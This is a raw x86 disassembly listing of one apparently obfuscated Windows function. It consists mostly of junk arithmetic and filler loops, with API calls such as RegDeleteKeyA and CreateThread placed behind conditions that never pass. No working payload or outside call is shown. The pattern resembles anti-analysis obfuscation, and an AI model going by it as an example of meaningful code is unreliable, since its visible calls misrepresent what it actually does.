mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
inc ecx
imul ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xa4a9
jne 0x1003d931
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1003d8f4
push eax
push 0x362
push 0xd0d
push eax
push 0x161
push 0x17fc
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003d914
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe70], 0x8114
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003d8fc
xor eax, eax
mov dword [ebp - 0x20], 0x1738ab65
mov dword [ebp - 0x48], 8
mov dword [ebp - 0x10], 0x81720d70
mov dword [ebp - 0x10], eax
jmp 0x1003da01
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1003d951
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbfc], 0x2d7bc352
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003d939
xor eax, eax
push 0xfffffffffffffff3
pop ebx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jne 0x1003d8f2
mov dword [ebp - 0x2c], 0xc105a83d
mov dword [ebp - 0x20], eax
jmp 0x1003d9e3
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1003d9e0
cmp dword [ebp - 0x2c], eax
jne 0x1003d9e0
cmp dword [ebp - 0x10], eax
je 0x1003d9b3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jg 0x1003d9d3
jmp 0x1003d989
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], 0x66fa4bc4
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x1003d987
jmp 0x1003d9d5
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1003d9d3
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003d9ce
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
dec dword [ebp - 0x2c]
jns 0x1003d9bb
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
push 0
pop eax
jle 0x1003d973
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1003d968
inc dword [ebp - 0x28]
jmp 0x1003d957
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6f8], 0xac0198ab
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003d9f0
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, 0x182b4746
mov eax, dword [ebp - 0x20]
push 0xfffffffffffffff6
setle cl
xor edx, edx
imul ecx, ecx, 0x47bb
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ebx, ebx
neg edx
cmp eax, edx
pop edx
setge bl
sub ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg ebx
sbb ebx, ebx
xor ecx, ecx
add ebx, 0x5743f8b
cmp eax, 8
setge cl
sub ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x6f8], 0x986d6dbc
mov dword [ebp - 0x10], 0xd
cmp dword [ebp - 0x10], edx
je 0x1003daaa
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jg 0x1003daa2
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x6f8], 0
jne 0x1003daa0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6f8]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x1003da81
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jne 0x1003da79
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1003dabf
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0xfffffffffffffff6
pop edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003dae7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x560], 0x2e91a049
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003dacf
xor eax, eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0xffffffe9
jle 0x1003db33
mov dword [ebp - 0x38], 0x4fda
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x34], 0xc6548aa
mov dword [ebp - 0x48], edi
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x558]
cmp ecx, eax
push ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x558]
cmp dword [ebp - 0x558], 0xffffffe9
pop eax
jg 0x1003daf6
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003dbd2
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0x693e
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003db6e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2f8], 0x9b3198a8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003db55
xor eax, eax
mov dword [ebp - 0x2f8], eax
jmp 0x1003dbac
mov dword [ebp - 0x10], edx
dec dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2f8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1003db95
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
neg eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
dec dword [ebp - 0x2f8]
cmp dword [ebp - 0x2f8], 0xffffffee
jl 0x1003db76
mov eax, dword [ebp - 0x1c]
push 0
mov dword [ebp + eax*4 - 0xe70], 0x39ed
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], esi
jl 0x1003db3f
mov dword [ebp - 0x24], 0x90ac204e
mov ebx, 0xbe4438b
mov dword [ebp - 0x14], 0xfffffff9
mov dword [ebp - 0x30], 0xbca0becc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffef
je 0x1003dd92
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003dc24
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2b4], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003dc0b
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003dc44
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x2b4]
dec eax
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jl 0x1003dc5e
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2b0]
xor edx, edx
cmp eax, 4
mov eax, dword [ebp - 0x2b4]
setge dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x2b4]
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x10], eax
cmp ecx, ebx
jne 0x1003dce4
cmp dword [ebp - 0x10], 2
jge 0x1003dca9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb34], 0x2206
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003dc90
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003dcc8
push eax
push 0xcb4
push eax
push eax
push 0x1964
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003dcd9
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xb34], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff0
jne 0x1003dccd
jmp 0x1003dd82
cmp dword [ebp - 0x10], edi
jge 0x1003dd01
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x35c], 0x6de6b933
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003dce9
xor eax, eax
cmp dword [ebp - 0x35c], eax
jne 0x1003dd4d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x35c]
imul eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x14]
imul eax, eax, 0xab72
test eax, eax
je 0x1003dd3e
xor eax, eax
cmp dword [ebp - 0x2b4], eax
je 0x1003dd40
mov ecx, edi
jmp 0x1003dd42
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x30]
sub eax, ecx
jne 0x1003dd4d
mov ecx, eax
jmp 0x1003dd4f
mov ecx, edi
mov eax, dword [ebp - 0x48]
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], eax
jmp 0x1003dd7d
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x2b4]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jle 0x1003dd6d
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffef
push 0
pop eax
jne 0x1003dbfc
or ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003ddbb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11ec], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003dda7
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003ddd4
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003ddd1
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jle 0x1003ddc0
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003ddfd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11a4], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003dde9
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop esi
jmp 0x1003de19
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003de16
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x1003de05
mov dword [ebp - 0x24], 0x90ac204e
mov dword [ebp - 0x14], 0xfffffff9
mov dword [ebp - 0x30], 0xbca0becc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffef
je 0x1003dfd5
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003de69
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2a8], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003de51
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003de89
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x2a8]
dec eax
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jl 0x1003dea3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2a4]
xor edx, edx
cmp eax, 4
mov eax, dword [ebp - 0x2a8]
setge dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x2a8]
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x10], eax
cmp ecx, ebx
jne 0x1003df27
cmp dword [ebp - 0x10], esi
jge 0x1003deec
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb2c], 0x2206
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003ded4
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003df0b
push eax
push 0xcb4
push eax
push eax
push 0x1964
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003df1c
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xb2c], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff0
jne 0x1003df10
jmp 0x1003dfc5
cmp dword [ebp - 0x10], edi
jge 0x1003df44
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x40c], 0x6de6b933
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003df2c
xor eax, eax
cmp dword [ebp - 0x40c], eax
jne 0x1003df90
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40c]
imul eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x14]
imul eax, eax, 0xab72
test eax, eax
je 0x1003df81
xor eax, eax
cmp dword [ebp - 0x2a8], eax
je 0x1003df83
mov ecx, edi
jmp 0x1003df85
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x30]
sub eax, ecx
jne 0x1003df90
mov ecx, eax
jmp 0x1003df92
mov ecx, edi
mov eax, dword [ebp - 0x48]
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], eax
jmp 0x1003dfc0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x2a8]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jle 0x1003dfb0
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffef
push 0
pop eax
jne 0x1003de43
or ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 0x14a02569
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], 0x211521fa
mov dword [ebp - 0x4c], 5
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003e01a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1d0], 0xfffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003e002
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003e03a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x374], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003e022
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003e05a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x100], 0x93e75cb5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003e042
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1003e070
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1d0], 0xa136
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1003e05f
mov ecx, dword [ebp - 0x374]
xor edx, edx
mov eax, dword [ebp - 0x374]
cmp ecx, eax
setge dl
mov dword [ebp - 0x100], edx
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x374]
cmp eax, ecx
mov eax, dword [ebp - 0x374]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x48]
setge cl
xor edx, edx
cmp ecx, 5
setl dl
sub eax, edx
cmp edi, eax
sbb eax, eax
xor edx, edx
inc eax
sub esi, eax
mov eax, dword [ebp - 0x370]
mov ecx, dword [ebp - 0x20]
sub esi, eax
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setg dl
cmp edx, esi
jl 0x1003e1d2
mov dword [ebp - 0x30], edi
mov eax, 0xffff
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1003e10f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6e4], 0x34832001
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003e0f7
xor eax, eax
mov dword [ebp - 0x20], 0xfffffffb
cmp dword [ebp - 0x20], 7
jl 0x1003e2ed
jmp 0x1003e124
xor eax, eax
mov dword [ebp - 0x48], 0x2585fafe
xor edx, edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setg cl
cmp ecx, 0x494d
jle 0x1003e194
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x40], eax
je 0x1003e196
mov esi, edi
mov eax, dword [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
push 3
setge dl
xor ecx, ecx
cmp edx, esi
pop esi
setle cl
xor eax, eax
cmp ecx, esi
setne al
mov dword [ebp - 0x6e4], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jge 0x1003e122
jmp 0x1003e2f0
or eax, 0xffffffff
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], 0x10
cmp dword [ebp - 0x28], 0x17
jge 0x1003e2ed
mov esi, 0xde77bf6b
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x30], 0x196c9a5c
cmp dword [ebp - 0x1d0], eax
jne 0x1003e28b
mov eax, dword [ebp - 0x1d0]
xor ebx, ebx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x100]
cmp ecx, eax
mov eax, dword [ebp - 0x100]
setl bl
sub ebx, 0xd73c
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x48]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp esi, ecx
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x2c]
neg edx
sbb edx, edx
inc edx
imul eax, edx, 0xfffb
test eax, eax
je 0x1003e27a
xor eax, eax
cmp dword [ebp - 0x100], eax
je 0x1003e27c
mov ecx, edi
jmp 0x1003e27e
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x4c]
sub ecx, eax
jne 0x1003e28b
xor eax, eax
mov edx, eax
jmp 0x1003e28d
mov edx, edi
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x100], ecx
add ecx, 0x3d58cdd2
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setl dl
add edx, 0x6ec7
je 0x1003e2b8
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edi
mov eax, 0xffff
push 0xffffffffffffffff
setle cl
cmp eax, ecx
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x17
pop eax
jl 0x1003e1f1
mov ebx, 0xbe4438b
push 3
pop esi
mov dword [ebp - 0x24], 0x90ac204e
xor eax, eax
mov dword [ebp - 0x14], 0xfffffff9
mov dword [ebp - 0x30], 0xbca0becc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffef
je 0x1003e4ad
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003e33f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x24c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003e326
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003e35f
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24c]
dec eax
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jl 0x1003e379
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x248]
xor edx, edx
cmp eax, 4
mov eax, dword [ebp - 0x24c]
setge dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x24c]
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x10], eax
cmp ecx, ebx
jne 0x1003e3ff
cmp dword [ebp - 0x10], 2
jge 0x1003e3c4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb64], 0x2206
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003e3ab
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003e3e3
push eax
push 0xcb4
push eax
push eax
push 0x1964
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003e3f4
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xb64], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff0
jne 0x1003e3e8
jmp 0x1003e49d
cmp dword [ebp - 0x10], edi
jge 0x1003e41c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3a0], 0x6de6b933
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003e404
xor eax, eax
cmp dword [ebp - 0x3a0], eax
jne 0x1003e468
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3a0]
imul eax, dword [ebp - 0x248]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x14]
imul eax, eax, 0xab72
test eax, eax
je 0x1003e459
xor eax, eax
cmp dword [ebp - 0x24c], eax
je 0x1003e45b
mov ecx, edi
jmp 0x1003e45d
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x30]
sub eax, ecx
jne 0x1003e468
mov ecx, eax
jmp 0x1003e46a
mov ecx, edi
mov eax, dword [ebp - 0x48]
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], eax
jmp 0x1003e498
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x24c]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jle 0x1003e488
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffef
push 0
pop eax
jne 0x1003e317
or ebx, 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1003e4d9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x6ec], 0x5755261f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1003e4c1
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1003e4f9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x360], 0x5dd68647
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1003e4e1
xor eax, eax
mov dword [ebp - 0x14], 0x15
cmp dword [ebp - 0x14], 0xfffffff6
jle 0x1003e637
jmp 0x1003e50e
xor eax, eax
mov dword [ebp - 0x30], 0x1d8f8f57
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x10], eax
jmp 0x1003e52e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x554], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003e51d
cmp dword [ebp - 0x6ec], edi
jle 0x1003e53e
mov eax, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0x734895c4
mov dword [ebp - 0x10], eax
jmp 0x1003e560
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xacc], 0xfff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003e54f
mov eax, dword [ebp - 0xacc]
xor edx, edx
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, 0x30b137d3
mov eax, dword [ebp - 0xacc]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x550]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xacc]
mov eax, dword [ebp - 0xacc]
mov eax, dword [ebp - 0x54c]
mov eax, dword [ebp - 0x54c]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], 0x18
jle 0x1003e624
xor eax, eax
mov dword [ebp - 0x30], 2
cmp dword [ebp - 0x30], eax
jl 0x1003e609
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x554]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x554]
cmp edx, eax
setne cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x30]
jns 0x1003e5e4
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003e61b
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x18
jg 0x1003e5d8
inc dword [ebp - 0x360]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff6
jg 0x1003e50c
